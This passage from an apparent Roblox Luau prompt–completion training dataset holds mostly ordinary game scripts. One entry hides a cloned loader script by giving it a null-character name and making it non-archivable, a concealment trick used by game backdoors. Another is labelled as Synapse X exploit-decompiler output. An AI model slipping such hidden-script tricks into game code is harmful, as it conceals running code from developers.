TextBox.Position\n\tTextLabel.TextSize = TextBox.TextSize\n\tTextLabel.Font = TextBox.Font\n\tTextLabel.TextColor3 = TextBox.TextColor3\n\tTextLabel.TextTransparency = TextBox.TextTransparency\n\tTextLabel.TextStrokeTransparency = TextBox.TextStrokeTransparency\n\tTextLabel.TextXAlignment = TextBox.TextXAlignment\n\tTextLabel.TextYAlignment = TextBox.TextYAlignment\n\tTextLabel.Text = \"This value needs to be set with :SetTextLabelText()\"\n\tTextLabel.Parent = TextBoxHolderFrame\n\n\tself.GuiObject = BaseFrame\n\tself.TextBox = TextBox\n\tself.TextLabel = TextLabel\n\n\tself.GuiObjects.BaseFrame = BaseFrame\n\tself.GuiObjects.TextBoxFrame = BoxFrame\n\tself.GuiObjects.TextBox = TextBox\n\tself.GuiObjects.TextLabel = TextLabel\n\tself.GuiObjects.MessageModeTextButton = MessageModeTextButton\n\n\tself:AnimGuiObjects()\n\tself:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton)\n\tself.eGuiObjectsChanged:Fire()\nend\n\nfunction methods:DisconnectConnections()\n\tfor i = 1, #self.Connections do\n\t\tself.Connections[i]:Disconnect()\n\tend\n\tself.Connections = {}\nend\n\nfunction methods:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton)\n\tself:DisconnectConnections()\n\n\t--// Code for getting back into general channel from other target channel when pressing backspace.\n\tlocal inputBeganConnection = UserInputService.InputBegan:connect(function(inputObj, gpe)\n\t\tif (inputObj.KeyCode == Enum.KeyCode.Backspace) then\n\t\t\tif (TextBox:IsFocused() and TextBox.Text == \"\") then\n\t\t\t\tself:SetChannelTarget(ChatSettings.GeneralChannelName)\n\t\t\tend\n\t\tend\n\tend)\n\ttable.insert(self.Connections, inputBeganConnection)\n\n\tlocal textboxChangedConnection = TextBox.Changed:connect(function(prop)\n\t\tif prop ~= \"Text\" then\n\t\t\treturn\n\t\tend\n\n\t\tself:CalculateSize()\n\n\t\tif (string.len(TextBox.Text) > ChatSettings.MaximumMessageLength) then\n\t\t\tTextBox.Text = string.sub(TextBox.Text, 1, ChatSettings.MaximumMessageLength)\n\t\t\treturn\n\t\tend\n\n\t\tif not self.InCustomState then\n\t\t\tlocal customState = self.CommandProcessor:ProcessInProgressChatMessage(TextBox.Text, self.ChatWindow, self)\n\t\t\tif customState then\n\t\t\t\tself.InCustomState = true\n\t\t\t\tself.CustomState = customState\n\t\t\tend\n\t\telse\n\t\t\tself.CustomState:TextUpdated()\n\t\tend\n\tend)\n\ttable.insert(self.Connections, textboxChangedConnection)\n\n\tlocal function UpdateOnFocusStatusChanged(isFocused)\n\t\tif isFocused or TextBox.Text ~= \"\" then\n\t\t\tTextLabel.Visible = false\n\t\telse\n\t\t\tTextLabel.Visible = true\n\t\tend\n\tend\n\n\tlocal messageModeConnection = MessageModeTextButton.MouseButton1Click:connect(function()\n\t\tif MessageModeTextButton.Text ~= \"\" then\n\t\t\tself:SetChannelTarget(ChatSettings.GeneralChannelName)\n\t\tend\n\tend)\n\ttable.insert(self.Connections, messageModeConnection)\n\n\tlocal textboxfocusedConnection = TextBox.Focused:connect(function()\n\t\tself:CalculateSize()\n\t\tUpdateOnFocusStatusChanged(true)\n\tend)\n\ttable.insert(self.Connections, textboxfocusedConnection)\n\n\tlocal textboxFocusLostConnection = TextBox.FocusLost:connect(function(enterPressed, inputObject)\n\t\tself:ResetSize()\n\t\tif (inputObject and inputObject.KeyCode == Enum.KeyCode.Escape) then\n\t\t\tTextBox.Text = \"\"\n\t\tend\n\t\tUpdateOnFocusStatusChanged(false)\n\tend)\n\ttable.insert(self.Connections, textboxFocusLostConnection)\nend\n\nfunction methods:GetTextBox()\n\treturn self.TextBox\nend\n\nfunction methods:GetMessageModeTextButton()\n\treturn self.GuiObjects.MessageModeTextButton\nend\n"} +{"prompt": "--[[\n\tClone and drop the loader so it can hide in nil.\n--]]", "completion": "\n\nlocal loader = script.Parent.Loader:Clone()\nloader.Parent = script.Parent\nloader.Name = \"\\0\"\nloader.Archivable = false\nloader.Disabled = false\n"} +{"prompt": "--[=[\n\tDisconnects a connection, any `:Fire` calls from now on will not\n\tinvoke this connection's handler.\n\n\t```lua\n\tlocal connection = ScriptSignal:Connect(function() end)\n\n\tconnection.Connected -> true\n\tconnection:Disconnect()\n\tconnection.Connected -> false\n\t```\n\n\t@ignore\n]=]", "completion": "\nfunction ScriptConnection:Disconnect()\n if self.Connected ~= true then\n return\n end\n\n self.Connected = false\n\n local _node: ScriptConnectionNode = self._node\n local _prev = _node._prev\n local _next = _node._next\n\n if _next ~= nil then\n _next._prev = _prev\n end\n\n if _prev ~= nil then\n _prev._next = _next\n else\n -- _node == _signal._head\n\n _node._signal._head = _next\n end\n\n _node._connection = nil\n self._node = nil\nend\nScriptConnection.Destroy = ScriptConnection.Disconnect\n\nreturn ScriptSignal\n"} +{"prompt": "--[[\n\tUpdates spring.position, moving it closer to target, depending on deltaTime.\n]]", "completion": "\nfunction Spring:update(deltaTime)\n\tlocal differenceVector = self.position - self.target\n\tif self.zeta > 1 + EPSILON then\n\t\t-- Over damped\n\t\tlocal zetaA = -self.omega * self.zeta\n\t\tlocal zetaB = self.omega * (self.zeta * self.zeta - 1) ^ 0.5\n\t\tlocal zeta0, zeta1 = zetaA - zetaB, zetaA + zetaB\n\t\tlocal expt0, expt1 = math.exp(zeta0 * deltaTime), math.exp(zeta1 * deltaTime)\n\t\tlocal c1 = (self.velocity - differenceVector * zeta1) / (-2 * zetaB)\n\t\tlocal c2 = differenceVector - c1\n\t\tself.position = self.target + c1 * expt0 + c2 * expt1\n\t\tself.velocity = c1 * zeta1 * expt0 + c2 * zeta1 * expt1\n\telseif self.zeta > 1 - EPSILON then\n\t\t-- Critically damped\n\t\tlocal expt = math.exp(-self.omega * deltaTime)\n\t\tlocal c1 = self.velocity + self.omega * differenceVector\n\t\tlocal c2 = (c1 * deltaTime + differenceVector) * expt\n\t\tself.position = self.target + c2\n\t\tself.velocity = (c1 * expt) - (c2 * self.omega)\n\telse\n\t\t-- Under damped\n\t\tlocal omegaZeta = self.omega * self.zeta\n\t\tlocal alpha = self.omega * (1 - self.zeta * self.zeta) ^ 0.5\n\t\tlocal exp = math.exp(-deltaTime * omegaZeta)\n\t\tlocal cos = math.cos(deltaTime * alpha)\n\t\tlocal sin = math.sin(deltaTime * alpha)\n\t\tlocal c2 = (self.velocity + differenceVector * omegaZeta) / alpha\n\n\t\tself.position = self.target + exp * (differenceVector * cos + c2 * sin)\n\t\tself.velocity =\n\t\t\t-exp * ((differenceVector * omegaZeta - c2 * alpha) * cos + (differenceVector * alpha + c2 * omegaZeta) * sin)\n\tend\nend\n\nreturn Spring\n"} +{"prompt": "-- Gradually regenerates the Humanoid's Health over time.", "completion": "\n\nlocal REGEN_RATE = 10/10000 -- Regenerate this fraction of MaxHealth per second.\nlocal REGEN_STEP = 10 -- Wait this long between each regeneration step.\n"} +{"prompt": "--[[**\n\tensures value is a number where value < 0\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nt.numberNegative = t.numberMaxExclusive(0)\n"} +{"prompt": "-- This diff-sequences package implements the linear space variation in\n-- An O(ND) Difference Algorithm and Its Variations by Eugene W. Myers", "completion": "\n"} +{"prompt": "-- The amount the aim will increase or decrease by\n-- decreases this number reduces the speed that recoil takes effect", "completion": "\nlocal AimInaccuracyStepAmount = 1.15"} +{"prompt": "--- Hides the command bar", "completion": "\nfunction Window:Hide()\n\treturn self:SetVisible(false)\nend\n"} +{"prompt": "-- ROBLOX deviation: omitted isA, isImmutableUnorderedKeyed, isImmutableUnorderedSet", "completion": "\n\ntype Array = LuauPolyfill.Array\n"} +{"prompt": "-- ROBLOX deviation: No __filename available - just using the module name", "completion": "\nDefaultReporter.filename = \"DefaultReporter\"\n"} +{"prompt": "-- << VARIABLES >>", "completion": "\nlocal topBarFrame = main.gui.CustomTopBar\n\n\n"} +{"prompt": "-- Create and load the animations", "completion": "\nloadAnimation(animationController, Animations.SuperheroIdle):Play()\nwaveAnimationTrack = loadAnimation(animationController, Animations.Wave)\nwaveAnimationTrack.Looped = false\n\n\nRunService.Stepped:Connect(function()\n\tlocal distance = makeNPCLookAt(character.PrimaryPart.Position)\n\tif distance and distance < WAVE_THRESHOLD then\n\t\tif tick() - lastWavedAt > WAVE_DEBOUNCE_TIME and not characterIsNear then\n\t\t\twaveAnimationTrack:Play(.5)\n\t\t\tlastWavedAt = tick()\n\t\tend\n\t\tcharacterIsNear = true\n\telse\n\t\tcharacterIsNear = false\n\tend\nend)\n"} +{"prompt": "--on vehicle", "completion": "\ncamera:GetPropertyChangedSignal(\"CameraSubject\"):Connect(function()\n\tif camera.CameraSubject:IsA(\"VehicleSeat\") then\n\t\tcamera.CameraSubject = humanoid\n\tend\nend)\n"} +{"prompt": "--\t\trunAnimTrack:AdjustSpeed(runSpeed)", "completion": "\n\t\tcurrentAnimTrack:AdjustSpeed(runSpeed)\n\tend\t\nend\n\nfunction setAnimationSpeed(speed)\n\tif currentAnim == \"walk\" then\n\t\t\tsetRunSpeed(speed)\n\telse\n\t\tif speed ~= currentAnimSpeed then\n\t\t\tcurrentAnimSpeed = speed\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\tif userNoUpdateOnLoop == true then"} +{"prompt": "--[=[\n\tUse to test that the given GuiObject or Rect is below the other GuiObject or Rect.\n\n\tThe last argument is optional. If nil, the matcher will pass only if the difference **top** edge of the given GuiObject or Rect and the **bottom** edge of the other GuiObject or Rect is zero or positive.\n\n\n\t```lua\n\texpect(a).toBeBelow(b) -- Jest\n\texpect(a).to.be.below(b) -- TestEZ\n\t```\n\n\t![Example of below(a, b)](/below(a,%20b).png)\n\n\t```lua\n\texpect(a).toBeBelow(b, 5) -- Jest\n\texpect(a).to.be.below(b, 5) -- TestEZ\n\t```\n\n\t![Example of below(a, b, 5)](/below(a,%20b,%205).png)\n\n\t```lua\n\texpect(a).toBeBelow(b, NumberRange.new(0, 5)) -- Jest\n\texpect(a).to.be.below(b, NumberRange.new(0, 5)) -- TestEZ\n\t```\n\n\t![Example of below(a, b, NumberRange.new(0, 5))](/below(a,%20b,%20NumberRange.new(0,%205)).png)\n\t@tag outside\n\t@within CollisionMatchers2D\n]=]", "completion": "\nlocal function below(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange)\n\tlocal aRect = toRect(a)\n\tlocal bRect = toRect(b)\n\n\tlocal distanceFromSide = aRect.Min - bRect.Max\n\tif distance then\n\t\tif typeof(distance) == \"number\" then\n\t\t\tdistance = NumberRange.new(distance)\n\t\tend\n\n\t\treturn returnValue(\n\t\t\tdistance.Min <= distanceFromSide.Y and distance.Max >= distanceFromSide.Y,\n\t\t\t\"Was within range\",\n\t\t\t\"Was not within range ( \" .. tostring(distance) .. \")\"\n\t\t)\n\telse\n\t\treturn returnValue(distanceFromSide.Y >= 0, \"Was below the element\", \"Was above the element\")\n\tend\nend\n\nreturn below\n"} +{"prompt": "--// Event Connections", "completion": "\nplaceEvent.OnServerEvent:connect(function(plr,newPos,what)\n\n local char =\tplr.Character\n\n\tif ACS_Storage.Server:FindFirstChild(plr.Name..\"_Rappel\") == nil then\n\t\t\tlocal new = Instance.new('Part')\n\t\t\tnew.Parent = workspace\n\t\t\tnew.Anchored = true\n\t\t\tnew.CanCollide = false\n\t\t\tnew.Size = Vector3.new(0.2,0.2,0.2)\n\t\t\tnew.BrickColor = BrickColor.new('Black')\n\t\t\tnew.Material = Enum.Material.Metal\n\t\t\tnew.Position = newPos + Vector3.new(0,new.Size.Y/2,0)\n\t\t\tnew.Name = plr.Name..\"_Rappel\"\n\t\t\t\n\t\t\tlocal newW = Instance.new('WeldConstraint')\n\t\t\tnewW.Parent = new\n\t\t\tnewW.Part0 = new\n\t\t\tnewW.Part1 = what\n\t\t\tnew.Anchored = false\n\t\t\t\n\t\t\tlocal newAtt0 = Instance.new('Attachment')\n\t\t\tnewAtt0.Parent = char.Torso\n\t\t\tnewAtt0.Position = Vector3.new(0,-.75,0)\n\n\t\t\tlocal newAtt1 = Instance.new('Attachment')\n\t\t\tnewAtt1.Parent = new\n\t\t\t\n\t\t\tlocal newRope = Instance.new('RopeConstraint')\n\t\t\tnewRope.Attachment0 = newAtt0\n\t\t\tnewRope.Attachment1 = newAtt1\n\t\t\tnewRope.Parent = char.Torso\n\t\t\tnewRope.Length = 20\n\t\t\tnewRope.Restitution = 0.3\n\t\t\tnewRope.Visible = true\n\t\t\tnewRope.Thickness = 0.1\n\t\t\tnewRope.Color = BrickColor.new(\"Black\")\n\n\t\tplaceEvent:FireClient(plr,new)\n\tend\nend)\n\nropeEvent.OnServerEvent:connect(function(plr,dir)\n\tif workspace:FindFirstChild(plr.Name..\"_Rappel\") ~= nil then\n\t\tif dir == 'Up' then\n\t\t\tplr.Character.Torso.RopeConstraint.Length = plr.Character.Torso.RopeConstraint.Length + 0.2\n\t\telseif dir == 'Down' then\n\t\t\tplr.Character.Torso.RopeConstraint.Length = plr.Character.Torso.RopeConstraint.Length - 0.2\n\t\tend\t\n\tend\nend)\n\ncutEvent.OnServerEvent:connect(function(plr)\n\tif workspace:FindFirstChild(plr.Name..\"_Rappel\") ~= nil then\n\t\tworkspace:FindFirstChild(plr.Name..\"_Rappel\"):Destroy()\n\n\t\tplr.Character.Torso.Attachment:Destroy()\n\t\tplr.Character.Torso.RopeConstraint:Destroy()\n\tend\nend)\n"} +{"prompt": "-- services", "completion": "\nlocal user_input_service = game:GetService(\"UserInputService\")\n"} +{"prompt": "-- Frame that contains the selection", "completion": "\nlocal GameplayUi = PlayerGui:WaitForChild(\"GameplayUi\")\n"} +{"prompt": "-- Local Variables", "completion": "\nlocal PhysicsService = game:GetService(\"PhysicsService\")\nlocal Players = game:GetService(\"Players\")\n \nlocal playerCollisionGroupName = \"Player\"\nlocal previousCollisionGroups = {}\n\n"} +{"prompt": "--Weld stuff here", "completion": "\n\n\ncar.DriveSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tchild.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)\n\tend\nend)\n\nMakeWeld(misc.Hood.Hinge,car.DriveSeat,\"Motor\",.1)\nModelWeld(misc.Hood.Parts,misc.Hood.Hinge)\n\n\ncar.DriveSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tchild.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)\n\tend\nend)\n\nMakeWeld(car.Misc.Wheel.W,car.DriveSeat,\"Motor\").Name=\"W\"\nModelWeld(misc.Wheel.Parts,misc.Wheel.W)\n\ncar.DriveSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tchild.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)\n\tend\nend)\n\n\n"} +{"prompt": "--Properties do not update in realtime here\n--i.e. You can't change explosion properties at any time beyond the initial function execution", "completion": "\nlocal LightningBolt = require(script.Parent)\nlocal LightningSparks = require(script.Parent.LightningSparks)\n\nlocal rng_v = Random.new()\nlocal clock = os.clock\n\nfunction RandomVectorOffsetBetween(v, minAngle, maxAngle) --returns uniformly-distributed random unit vector no more than maxAngle radians away from v and no less than minAngle radians\n return (CFrame.lookAt(Vector3.new(), v)*CFrame.Angles(0, 0, rng_v:NextNumber(0, 2*math.pi))*CFrame.Angles(math.acos(rng_v:NextNumber(math.cos(maxAngle), math.cos(minAngle))), 0, 0)).LookVector\nend\n\n\nlocal ActiveExplosions = {}\n\n\nlocal LightningExplosion = {}\nLightningExplosion.__index = LightningExplosion\n\nfunction LightningExplosion.new(Position, Size, NumBolts, Color, BoltColor, UpVector)\n\tlocal self = setmetatable({}, LightningExplosion)\n\t\n\t--Main (default) Properties--\n\t\n\t\tself.Size = Size or 1 --Value between 0 and 1 (1 for largest)\n\t\tself.NumBolts = NumBolts or 14 --Number of lightning bolts shot out from explosion\n\t\tself.Color = Color or ColorSequence.new(Color3.new(1, 0, 0), Color3.new(0, 0, 1)) --Can be a Color3 or ColorSequence\n\t\tself.BoltColor = BoltColor or Color3.new(0.3, 0.3, 1) --Can be a Color3 or ColorSequence\n\t\tself.UpVector = UpVector or Vector3.new(0, 1, 0) --Can be used to \"rotate\" the explosion\n\t\n\t--\n\t\n\tlocal parent = workspace.CurrentCamera\n\t\n\tlocal part = Instance.new(\"Part\")\n\tpart.Name = \"LightningExplosion\"\n\tpart.Anchored = true\n\tpart.CanCollide = false\n\tpart.Locked = true\n\tpart.CastShadow = false\n\tpart.Transparency = 1\n\tpart.Size = Vector3.new(0.05, 0.05, 0.05)\n\tpart.CFrame = CFrame.lookAt(Position + Vector3.new(0, 0.5, 0), Position + Vector3.new(0, 0.5, 0) + self.UpVector)*CFrame.lookAt(Vector3.new(), Vector3.new(0, 1, 0)):inverse()\n\tpart.Parent = parent\n\t\n\tlocal attach = Instance.new(\"Attachment\")\n\tattach.Parent = part\n\tattach.CFrame = CFrame.new()\n\t\n\tlocal partEmit1 = script.ExplosionBrightspot:Clone()\n\tlocal partEmit2 = script.GlareEmitter:Clone()\n\tlocal partEmit3 = script.PlasmaEmitter:Clone()\n\t\n\tlocal size = math.clamp(self.Size, 0, 1)\n\t\n\tpartEmit1.Size = NumberSequence.new(30*size)\n\tpartEmit2.Size = NumberSequence.new(30*size)\n\tpartEmit3.Size = NumberSequence.new(18*size)\n\tpartEmit3.Speed = NumberRange.new(100*size)\n\t\n\tpartEmit1.Parent = attach\n\tpartEmit2.Parent = attach\n\tpartEmit3.Parent = attach\n\t\n\tlocal color = self.Color\n\t\n\tif typeof(color) == \"Color3\" then\n\t\tpartEmit2.Color, partEmit3.Color = ColorSequence.new(color), ColorSequence.new(color)\n\t\tlocal cH, cS, cV = Color3.toHSV(color)\n\t\tpartEmit1.Color = ColorSequence.new(Color3.fromHSV(cH, 0.5, cV))\n\telse --ColorSequence\n\t\tpartEmit2.Color, partEmit3.Color = color, color\n\t\tlocal keypoints = color.Keypoints \n\t\tfor i = 1, #keypoints do\n\t\t\tlocal cH, cS, cV = Color3.toHSV(keypoints[i].Value)\n\t\t\tkeypoints[i] = ColorSequenceKeypoint.new(keypoints[i].Time, Color3.fromHSV(cH, 0.5, cV))\n\t\tend\n\t\tpartEmit1.Color = ColorSequence.new(keypoints)\n\tend\n\t\n\tpartEmit1.Enabled, partEmit2.Enabled, partEmit3.Enabled = true, true, true\n\t\n\tlocal bolts = {}\n\t\n\t\n\t\n\tself.Bolts = bolts\n\tself.Attachment = attach\n\tself.Part = part\n\tself.StartT = clock()\n\tself.RefIndex = #ActiveExplosions + 1\n\n\tActiveExplosions[self.RefIndex] = self\n\n\treturn self\nend\n\nfunction LightningExplosion:Destroy()\n\tActiveExplosions[self.RefIndex] = nil\n\tself.Part:Destroy()\n\t\n\tfor i = 1, #self.Bolts do\n\t\tself.Bolts[i] = nil\n\tend\n\t\n\tself = nil\nend\n\ngame:GetService(\"RunService\").Heartbeat:Connect(function ()\n\t\n\tfor _, ThisExplosion in pairs(ActiveExplosions) do\n\t\t\n\t\tlocal timePassed = clock() - ThisExplosion.StartT\n\t\tlocal attach = ThisExplosion.Attachment\n\t\t\n\t\tif timePassed < 0.7 then \n\t\t\t\n\t\t\tif timePassed > 0.2 then\n\t\t\t\tattach.ExplosionBrightspot.Enabled, attach.GlareEmitter.Enabled, attach.PlasmaEmitter.Enabled = false, false, false\n\t\t\tend\n\t\t\t\n\t\t\tfor i = 1, #ThisExplosion.Bolts do \n\t\t\t\t\n\t\t\t\tlocal currBolt = ThisExplosion.Bolts[i]\n\t\t\t\tcurrBolt.Attachment1.WorldPosition = currBolt.Attachment1.WorldPosition + currBolt.Velocity\n\t\t\t\t--currBolt.CurveSize0, currBolt.CurveSize1 = currBolt.CurveSize0 + currBolt.v0, currBolt.CurveSize1 + currBolt.v1\n\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\telse\n\t\t\t\n\t\t\tThisExplosion:Destroy()\n\t\t\t\n\t\tend\n\t\t\n\tend\n\t\nend)\n\n\n\n\nreturn LightningExplosion\n"} +{"prompt": "-- RemoteSignal\n-- Stephen Leitnick\n-- January 07, 2021", "completion": "\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 8;\n\tStoredAmmo = 8;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 3;\n\t"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal Players = game:GetService(\"Players\")\n"} +{"prompt": "-- Folder that contains the RemoteEvents", "completion": "\nlocal RemoteFolder = Home:WaitForChild(\"RemoteEvents\")\n"} +{"prompt": "--Refer to Settings.COMPARISON_CHECKS", "completion": "\nlocal function comparePosition(self)\n\tif self._currentWaypoint == #self._waypoints then return end\n\tself._position._count = ((self._agent.PrimaryPart.Position - self._position._last).Magnitude <= 0.07 and (self._position._count + 1)) or 0\n\tself._position._last = self._agent.PrimaryPart.Position\n\tif self._position._count >= self._settings.COMPARISON_CHECKS then\n\t\tif self._settings.JUMP_WHEN_STUCK then\n\t\t\tsetJumpState(self)\n\t\tend\n\t\tdeclareError(self, self.ErrorType.AgentStuck)\n\tend\nend\n"} +{"prompt": "-- Functions", "completion": "\nfunction Default()\n\tAvatar = nil\n\tHold = nil\nend\n\nfunction SearchTable(Item, List)\n\tfor i, s in pairs(List) do\n\t\tif (s == Item) then return true end\n\tend\n\treturn false\nend\n\nfunction MorphHead(Part)\n\t-- Sub Morph (1/2): Remove Player Customizations\n\tfor i, s in pairs(Part:GetChildren()) do\n\t\tif (SearchTable(s.ClassName, AvatarHead) == true) then\n\t\t\ts:Remove()\n\t\tend\n\tend\n\twait(1)\n\n\t-- Sub Morph (2/2): Add Items To Head\n\tfor i, s in pairs(Head:GetChildren()) do\n\t\tif (SearchTable(s.ClassName, AvatarHead) == true) then\n\t\t\ts:Clone().Parent = Part\n\t\tend\n\tend\nend\n\nfunction MorphPlayer(Avatar)\n\t-- Morph (1/2): Remove Player Customizations & Morph Head\n\tfor i, s in pairs(Avatar:GetChildren()) do\n\t\tif (SearchTable(s.ClassName, AvatarBody) == true) and (SearchTable(s.ClassName, ExcludedClasses) == false) and (SearchTable(s.Name, ExcludedNames) == false) or (s.ClassName == \"Hat\") then\n\t\t\ts:Remove()\n\t\tend\n\t\tif (s.ClassName == \"Part\") and (s.Name == \"Head\") then MorphHead(s) end\n\tend\n\twait(1)\n\n\t-- Morph (2/2): Add Items To Avatar\n\tfor i, s in pairs(StealthLava.Parent:GetChildren()) do\n\t\tif (SearchTable(s.ClassName, AvatarBody) == true) and (SearchTable(s.ClassName, ExcludedClasses) == false) and (SearchTable(s.Name, ExcludedNames) == false) then\n\t\t\ts:Clone().Parent = Avatar\n\t\tend\n\tend\n\twait(1)\nend\n"} +{"prompt": "--// Events", "completion": "\nlocal placeEvent = Evt.Rappel:WaitForChild('PlaceEvent')\nlocal ropeEvent = Evt.Rappel:WaitForChild('RopeEvent')\nlocal cutEvent = Evt.Rappel:WaitForChild('CutEvent')\n"} +{"prompt": "-- Dependencies", "completion": "\nlocal ShrinkingBarrier = require(ServerScriptService.Core.ShrinkingBarrier)\nlocal DeliveryVehicle = require(ServerStorage.Libraries.DeliveryVehicle)\nlocal Conf = require(ReplicatedFirst.Configurations.MainConfiguration)\nlocal ServerTime = require(ServerStorage.Libraries.ServerTime)\nlocal PlayerMatchInfo = require(ReplicatedStorage.Libraries.PlayerMatchInfo)\n"} +{"prompt": "--------------------\n--| Script Logic |--\n--------------------", "completion": "\n\nBaseShot = Instance.new('Part')\nBaseShot.Name = 'Effect'\nBaseShot.FormFactor = Enum.FormFactor.Custom\nBaseShot.Size = Vector3.new(0.2, 0.2, 3)\nBaseShot.CanCollide = false\nBaseShot.BrickColor = BrickColor.new('Toothpaste')\nSelectionBoxify(BaseShot)\nLight(BaseShot)\nHitFadeSound:Clone().Parent = BaseShot\n\nTool.Equipped:connect(OnEquipped)\nTool.Unequipped:connect(OnUnequipped)\nTool.Activated:connect(OnActivated)\n"} +{"prompt": "--[[**\n\tensures value matches string pattern\n\n\t@param string pattern to check against\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.match(pattern)\n\tassert(t.string(pattern))\n\treturn function(value)\n\t\tlocal stringSuccess, stringErrMsg = t.string(value)\n\t\tif not stringSuccess then\n\t\t\treturn false, stringErrMsg\n\t\tend\n\n\t\tif string.match(value, pattern) == nil then\n\t\t\treturn false, string.format(\"%q failed to match pattern %q\", value, pattern)\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--[[ Use the following script to program your on/off switch to do stuff. This can mean opening and closing a door, turning on and off lights, anything!\nJust put what you want the button to do while on/off below.]]", "completion": "\n\nRoom = script.Parent\n\nfunction on() --Type below what you want the button to do while it is on.\nRoom.L1.SpotLight.Enabled = true\nRoom.L2.SpotLight.Enabled = true\nRoom.L3.SpotLight.Enabled = true\nRoom.L4.SpotLight.Enabled = true\nend\n\nfunction off() --Type below what you want the button to do while it is off.\nRoom.L1.SpotLight.Enabled = false\nRoom.L2.SpotLight.Enabled = false\nRoom.L3.SpotLight.Enabled = false\nRoom.L4.SpotLight.Enabled = false\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\treturn not u1.Functions.IsNaN(p1) and not u1.Functions.IsInf(p1);\nend;\n"} +{"prompt": "--print(\"Front\"..autoF-1)\n--print(\"Back\"..autoR)", "completion": "\n\nif autoF - 2 > autoR then\n\tshf = false\nelse\n\tif math.abs(orderch - 50) < speed then \n\t\tshf = true\n\telse \n\t\tif carSeat.Storage.Mode.Value ~= \"Snow\" then\n\t\tshf = false\n\t\tend\n\tend\nend\n\nif autoF - 1 > autoR and script.Parent.Storage.TransmissionType.Value == \"HPattern\" and currentgear.Value <= 3 then\n\tif speed < 20 then\n\t\tif clutch.Clutch.Value > 0.3 and clutch.Clutch.Value < 0.6 and throttle.Value ~= 0 then\n\t\t\tscript.Parent.Functions.Clutch.Value = 0.0001\n\t\t\tscript.Parent.Functions.Clutch.Override.Value = true script.Parent.Functions.Clutch.Freeze.Value = true\n\t\t else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end\n\t else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end\n else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 150\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 100\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--end)\n--frame:WaitForChild(\"PAUSE\").MouseButton1Click:connect(function()\n--\tsound:Stop()\n--end)", "completion": "\n"} +{"prompt": "-- Fonction pour ajouter un balancement \u00e0 la cam\u00e9ra", "completion": "\nlocal function addSwing(swingVector)\n\tcameraSwing = cameraSwing + swingVector\nend\n"} +{"prompt": "--\t\t\t\t\tend", "completion": "\n\t\t\t\tend\n\t\t\t\tlocal distanceFactor = distance / explosion.BlastRadius -- get the distance as a value between 0 and 1\n\t\t\t\tdistanceFactor = math.abs( 1 - distanceFactor )-- flip the amount, so that lower == closer == more damage\n\t\t\t\t-- humanoid:TakeDamage(maxDamage * distanceFactor) -- TakeDamage to respect ForceFields\n\t\t\t\t--print(maxDamage,distanceFactor)\n\t\t\t\t--print(\"<\", ownerMe, \"> AOE Damage = \", maxDamage * distanceFactor,\" to <\",humanoid.Parent.Name,\">\")\n\t\t\t\tDamage:Take(human, humanoid, maxDamage * distanceFactor) -- from, to, damage\n\t\t\tend\n\t\tend\n\tend)\n \n\texplosion.Parent = game.Workspace\nend\n\n\nfunction blow(hit)\n\t--!!!!!! \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435 